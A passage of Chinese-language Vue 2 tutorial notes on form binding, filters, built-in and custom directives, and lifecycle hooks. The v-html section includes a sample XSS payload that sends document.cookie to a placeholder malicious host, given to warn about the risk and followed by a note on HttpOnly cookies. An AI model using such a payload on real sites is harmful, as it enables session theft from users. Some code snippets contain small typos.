keyWord: "",
sortType: 0,
persons: [
{id: 1, name: "马冬梅", age: 18},
{id: 2, name: "周冬雨", age: 19},
{id: 3, name: "周杰伦", age: 40},
{id: 4, name: "王兆伦", age: 25},
],
},
methods: {
addAttr() {
// Vue.set(this.persons,0,{id: 1, name: "马冬春", age: 22})
this.$set(this.persons,0,{id: 1, name: "马冬春", age: 22})
}
}
})
</script>
14. 表单数据收集
1. input-text 文本输入框
<div>
<label for="name">账号: </label>
<!-- 通过指定v-model 来绑定用户输入 -->
<input type="text" id="name" v-model="name">
</div>
<div>
<label for="password">密码: </label>
<!-- 通过指定v-model 来绑定用户输入 -->
<input type="text" id="password" v-model="password">
</div>
<script>
new Vue({
el: "#app",
data: {
name: "", // 用来接收用户输入的账号
password: "", // 用来接收用户输入的密码
},
})
</script>
2. input-radio 单选框
<div>
<span>性别:</span>
<!-- 通过指定v-model 来绑定用户的选择,并且要给value值,来表示用户选的值是什么 -->
<input type="radio" name="sex" v-model="sex" value="1">男
<input type="radio" name="sex" v-model="sex" value="0">女
</div>
<script>
new Vue({
el: "#app",
data: {
sex: "" // 用来接收用户选择的性别
// sex: "1" // 可以通过指定sex:"1" 来指定页面打开就选择 男 选项
},
})
</script>
3. input-checkbox 多选框
<div>
<span>爱好:</span>
<!-- 通过指定v-model 来绑定用户的选择,并且要给value值,来表示用户选的值是什么 -->
<input type="checkbox" name="hobby" v-model="hobby" value="1">抽烟
<input type="checkbox" name="hobby" v-model="hobby" value="2">喝酒
<input type="checkbox" name="hobby" v-model="hobby" value="3">烫头
</div>
<script>
new Vue({
el: "#app",
data: {
hobby: [], // checkbox只能使用 数组 来收集用户选择
},
})
</script>
4. select 下拉框
<div>
<span>所属校区:</span>
<!-- 通过指定v-model 来绑定用户的选择,并且要给option的value值,来表示用户选的值是什么 -->
<select name="school" id="" v-model="school">
<option value="0">请选择校区</option>
<option value="1">北京</option>
<option value="2">上海</option>
<option value="3">重庆</option>
</sele
</div>
<script>
new Vue({
el: "#app",
data: {
school: "", // 用来接收用户选择的校区
// school: "0" // 可以通过指定school:"0" 来指定页面打开就选择 请选择校区 选项
},
})
</script>
5. textarea多行输入框
<div>
<span>其他信息:</span>
<textarea name="others" id="" cols="30" rows="10"></textarea>
</div>
<script>
new Vue({
el: "#app",
data: {
others:"" // 用来接收用户输入的其他信息
},
})
</script>
6. checkbox 是否勾选同意用户协议
<div>
<input type="checkbox" v-model="is_ok">阅读并接受 <a href="http://www.baidu.com">《用户协议》</a>
</div>
<script>
new Vue({
el: "#app",
data: {
is_ok:false // 表示是否勾选,可以给默认值为false 为刚开始不勾选
},
})
</script>
7. 禁用表单提交刷新页面的行为
<!-- 阻止标题提交后刷新页面的默认行为 -->
<form @submit.prevent="sendMsg">
</form>
8. 表单数据收集可以优化的点
1. 转成数值类型
vue对于用户的输入会被转成数值类型,如果输入的内容值有字符则不会再转换后面的字符,通常同时配合着input的type=nubmer 禁止用户输入除数字外的字符,如下
<input type="number" id="password" v-model.number="password">
2. 惰性收集
vue对于用户的输入会在表掐失去焦点的一瞬间收集全部输入,如下对于多行输入并不需要输入一个字符就收集一个字符
<textarea name="others" id="" cols="30" rows="10" v-model.lazy="others"></textarea>
3. 去掉前后空格
<textarea name="others" id="" cols="30" rows="10" v-model.trim="others"></textarea>
15. 过滤器
1. 时间戳格式化示例
使用第三方库 momentjs/dayjs 格式化时间
1.1 计算属性实现
<head>
<!-- 导入dayjs 的cdn -->
<script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.11.9/dayjs.min.js"></script>
</head>
<body>
<div id="app">
<h3>
{{ fmtTime }}
</h3>
</div>
</body>
<script>
new Vue({
el: "#app",
data: {
time: 1706777305095 // 时间戳
},
computed: {
fmtTime(){
return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
}
}
})
</script>
1.2 自定义方法实现
<head>
<!-- 导入dayjs 的cdn -->
<script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.11.9/dayjs.min.js"></script>
</head>
<body>
<div id="app">
<h3>
{{ getFmtTime() }}
</h3>
</div>
</body>
<script>
new Vue({
el: "#app",
data: {
time: 1706777305095 // 时间戳
},
methods:{
getFmtTime(){
return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
}
}
})
1.3 局部过滤器实现
<head>
<script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.11.9/dayjs.min.js"></script>
</head>
<div id="app">
<h3>{{time | timeFormater}}</h3>
</div>
<script>
new Vue({
el: "#app",
data: {
time: 1706777305095
},
// 局部过滤器,只有当前 vue 实例中才能使用
filters:{
timeFormater(value){
return dayjs(value).format('YYYY-MM-DD HH:mm:ss')
}
}
})
</script>
2. 带参数的嵌套过滤器
<head>
<script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.11.9/dayjs.min.js"></script>
</head>
<div id="app">
<!-- 'YYYY/MM/DD' 当做参数传到 timeFormater 方法中 -->
<h3>{{time | timeFormater('YYYY/MM/DD')}}</h3>
</div>
<script>
new Vue({
el: "#app",
data: {
time: 1706777305095
},
// 局部过滤器,只有当前 vue 实例中才能使用
filters:{
// formatStr 为默认参数
timeFormater(value,formatStr="YYYY-MM-DD HH:mm:ss"){
return dayjs(value).format(formatStr)
},
}
})
</script>
3. 局部嵌套过滤器
<head>
<script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.11.9/dayjs.min.js"></script>
</head>
<div id="app">
<!-- 需要加工的数据 | 过滤器1 | 过滤器2 -->
<h3>{{time | timeFormater('YYYY/MM/DD') | endSlice}}</h3>
</div>
<script>
new Vue({
el: "#app",
data: {
time: 1706777305095
},
// 局部过滤器,只有当前 vue 实例中才能使用
filters:{
timeFormater(value,formatStr="YYYY-MM-DD HH:mm:ss"){
return dayjs(value).format(formatStr)
},
endSlice(value){
return value.slice(0,4)
}
}
})
</script>
4. 全局过滤器定义
<script>
// 注册全局过滤器
Vue.filter('endSlice',function (value) {
return value.slice(0,4)
})
// 注册第二个全局过滤器
Vue.filter('endSlice2',function (value) {
return value.slice(0,4)
})
</script>
16. 内置指令
1. 前面学过的内置指令
1. v-bind
单项绑定解析表达式,可简写为 :xxx
2. v-model
双向数据绑定
3. v-for
遍历数组/对象/字符串
4. v-on
绑定事件监听,可简写为 @
5. v-if
条件渲染(动态控制节点是否存在)
6. v-else
条件渲染(动态控制节点是否存在)
7. v-show
条件渲染(动态控制节点是否展示出来)
2. v-text
向其所在标签插入文本
<body>
<div id="app">
<!-- 插值语法插入文本 -->
<div> {{name}} </div>
<!-- v-text插入文本,会将整个标签中的内容替换掉 -->
<div v-text="name"></div>
</div>
</body>
<script>
new Vue({
el: "#app",
data: {
name: "<h3>小明</h3>"
},
})
</script>
3. v-html
<body>
<div id="app">
<!-- 插值语法插入文本 -->
<div> {{name}} </div>
<!-- v-html 插入文本,会将整个标签中的内容替换掉,可以解析标签 -->
<div v-html="name"></div>
</div>
</body>
<script>
new Vue({
el: "#app",
data: {
name: "<h3>小明</h3>"
},
})
</script>
XSS攻击:关于v-html的安全问题:由于v-html是可以执行javascript代码的,所以示例代码中,会将当前浏览器中保存的cookie,上传到其他恶意网站的后台服务中,从而盗取我的身份信息,从而登录到对应的网站中进行操作
<body>
<div id="app">
<!-- 插值语法插入文本 -->
<div> {{name}} </div>
<!-- v-html 插入文本,会将整个标签中的内容替换掉,可以解析标签 -->
<div v-html="cookie_str"></div>
</div>
</body>
<script>
new Vue({
el: "#app",
data: {
name: "<h3>小明</h3>",
// 获取到当前浏览器中保存着的所有没有标识为 HttpOnly 的cookie键值对
cookie_str: "<a href=javascript:location.href:'http://恶意网站地址?'+document.cookie>点我</a>"
},
})
</script>
HttpOnly字段被勾选的cookie键值对,只有http请求才能拿到,其他的任何方式,包括js代码的方式都取不到

4. v-cloak
1. 页面闪现问题:
由于网络堵塞,先展现出插值语法的内容,然后过一段时间其他js引入完成后才被vue对象渲染成正常的内容

使用css样式控制 v-cloak 隐藏,当vue接管以后会自动显示内容,并删除v-cloak属性
<head>
<style>
[v-cloak]{
display: none;
}
</style>
</head>
<body>
<div>
<h2 v-cloak>
{{ name }}
</h2>
<!-- 模拟网络延迟 5s -->
<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
</div>
</body>
<script>
new Vue({
el: "#app",
data: {
name: "小明",
},
})
</script>
5. v-once (性能优化)
第一次渲染后,不再动态渲染当前节点,以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能
<div id="app">
<div>
<!-- 由于绑定了v-once 这个标签的内容始终是0,即第一次渲染时的值 -->
<div v-once>
初始化的n值为: {{ n }}
</div>
<div>
当前的n值为: {{ n }}
</div>
</div>
<div>
<button @click="n++">点我n+1</button>
</div>
</div>
<script type="text/javascript">
const vue = new Vue({
el: '#app',
data: {
n: 0
},
})
</script>
6. v-pre (性能优化)
跳过被 v-pre 绑定节点的编译过程,可利用它跳过没有使用指令语法,没有使用差值语法的节点,会加快编译,如下案例中的h1节点
<div id="app">
<div>
<h1 v-pre>
今天天气真好啊
</h1>
<div>
当前的n值为: {{ n }}
</div>
</div>
<div>
<button @click="n++">点我n+1</button>
</div>
</div>
<script type="text/javascript">
const vue = new Vue({
el: '#app',
data: {
n: 0
},
})
</script>
17. 自定义指令
1. 案例
案例1: 定义一个 v-big 指令,和v-text功能类似,但会把绑定的数值放大10倍,函数形式写法,相当于只定义了 bind 和 update 回调函数
<div id="app">
<div>
<div>
当前的n值为: {{ n }}
</div>
<!-- 使用 v-big 指令 -->
<div>放大10倍后的n值为: <span v-big="n"></span></div>
</div>
<div>
<button @click="n++">点我n+1</button>
</div>
</div>
<script type="text/javascript">
const vue = new Vue({
el: '#app',
data: {
n: 1
},
directives: {
// 自定义 v-big 指令
// 参数1: 真实dom元素对象, 参数2: 对象
// big函数什么时候调用?
// 1. 指令与元素成功绑定时
// 2. 指令所在的模板被重新解析时
big(element,binding){
element.innerText = binding.value * 10
}
}
})
</script>
案例2: 定义一个 v-fbind 指令, 和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点,由于是要再一开始就获取焦点,所以上面的函数形式就无法实现这个功能了,因为v-fbind指令是在内存中执行了绑定焦点的函数,并没有放到页面中后再执行,所以不会生效
<div id="app">
<div>
<div>{{n}}</div>
<input type="text" v-fbind="n">
<button @click="n++">点我n+1</button>
</div>
</div>
<script type="text/javascript">
const vue = new Vue({
el: '#app',
data: {
n: 1
},
directives: {
fbind:{
// 指令与元素绑定成功时调用 bind 回调函数
bind(element,binding){
element.value = binding.value
},
// 指令所在元素被插入页面时调用 inserted 回调函数
inserted(element,binding){
element.focus() // 获取焦点
},
// 指令所在的模版被重新解析时调用 update 回调函数
update(element,binding){
element.value = binding.value
}
}
}
})
</script>
2. 注意的点
1. 指令名的问题,多个单词用 - 分割
<div id="app">
<div>
<div>{{n}}</div>
<!-- 指令名,多个单词用 - 分割 -->
<div> 放大10倍后: <span v-big-number="n"></span></div>
<button @click="n++">点我n+1</button>
</div>
</div>
<script type="text/javascript">
const vue = new Vue({
el: '#app',
data: {
n: 1
},
directives: {
// 方法名用字符串
"big-number"(element,binding){
element.innerText = binding.value * 10
}
}
})
</script>
</body>
</html>
2. 指令中的 this 都是 Window 对象 而不是 Vue 对象
3. 全局指令
上面对象中定义的指令都是局部指令,如何定义全局指令?
<script>
// 注册第一个自定义指令
Vue.directive('big',function (element,binding) {
element.innerText = binding.value
})
// 注册第二个自定义指令
Vue.directive('fbind',{
// 指令与元素绑定成功时调用 bind 方法
bind(element,binding){
element.value = binding.value
},
// 指令所在元素被插入页面时调用 inserted 方法
inserted(element,binding){
element.focus() // 获取焦点
},
// 指令所在的模版被重新解析时调用 update 方法
update(element,binding){
element.value = binding.value
}
})
</script>
18. 生命周期(4对钩子函数)
0. 生命周期流程图示


1. mounted() -- 挂载完毕
Vue 完成模板的解析,并把初始的真实 Dom 元素放入页面后调用 mounted(),整个Vue的存活只调用一次
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script type="text/javascript" src="https://cdn.jsdelivr.net/npm/vue@2.7.16/dist/vue.js"></script>
</head>
<body>
<div id="app">
<h1 :style="{opacity}" style="margin-left: 550px">你好,整个世界</h1>
</div>
</body>
<script>
Vue.config.productionTip = false
new Vue({
el: '#app', // 指定当前Vue实例绑定哪个标签
data: { // 数据存储容器,供前面指定的el区域来使用
opacity:1
},
mounted(){
setInterval(()=>{
this.opacity -= 0.01
if (this.opacity<=0) this.opacity = 1
},18)
}
})
</script>
</html>
2. beforDestroy() -- 销毁实例
当 vm.$destroy()时,会完全销毁一个实例,清理它和其他组件实例对象的连接,解绑它的全部指令和自定义事件监听器,在beforeDestory()时,能访问到data中定义的数据和methods中定义的方法,但是如果调用methods中定义的add(),由于销毁了vm实例,不会再执行beforeCreate()和created(),所以data中定义的数据已经变了,只是不会更新到页面上
3. $nextTick()
$nextTick() 指定的回调会在Dom元素更新完毕之后再执行,当数据改变后,要基于更新后的新DOM进行某些操作时,需要使用nextTick,在其指定的回调函数中执行这操作
案例在 Todo-List 的点击编辑按钮,出现input框,并自动获取焦点
4. 案例完善
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script type="text/javascript" src="https://cdn.jsdelivr.net/npm/vue@2.7.16/dist/vue.js"></script>
</head>
<body>
<div id="app">
<h1 :style="{opacity}" style="margin-left: 550px">你好,整个世界</h1>
<button @click="opacity = 1">点我透明度设置为1</button>
<button @click="stop">点我停止</button>
<button @click="clear">点我销毁</button>
</div>
</body>
<script>
Vue.config.productionTip = false
new Vue({
el: '#app', // 指定当前Vue实例绑定哪个标签
data: { // 数据存储容器,供前面指定的el区域来使用
opacity: 1
},
methods: {
// 清除定时器
stop() {
clearInterval(this.timer)
},
// 销毁vm实例
clear(){
// 这里销毁了vm实例,但是并没有清除定时器,所以要在beforeDestroy()中清除定时器
this.$destroy()
}
},
// 开启定时器,不断地修改文字的透明度
mounted() {
// 将定时器ID定义为 vm实例的属性,在mounted()之后的整个生命周期中都能使用this.timer找到当前的定时器ID
this.timer = setInterval(() => {
console.log("setInterval")
this.opacity -= 0.01
if (this.opacity <= 0) this.opacity = 1
}, 18)
},
// 在beforeDestroy()函数中清除定时器
// 执行$destroy(),会自动执行beforeDestroy()和destroyed()
beforeDestroy(){
clearInterval(this.timer)
}
})
</script>
</html>

浙公网安备 33010602011771号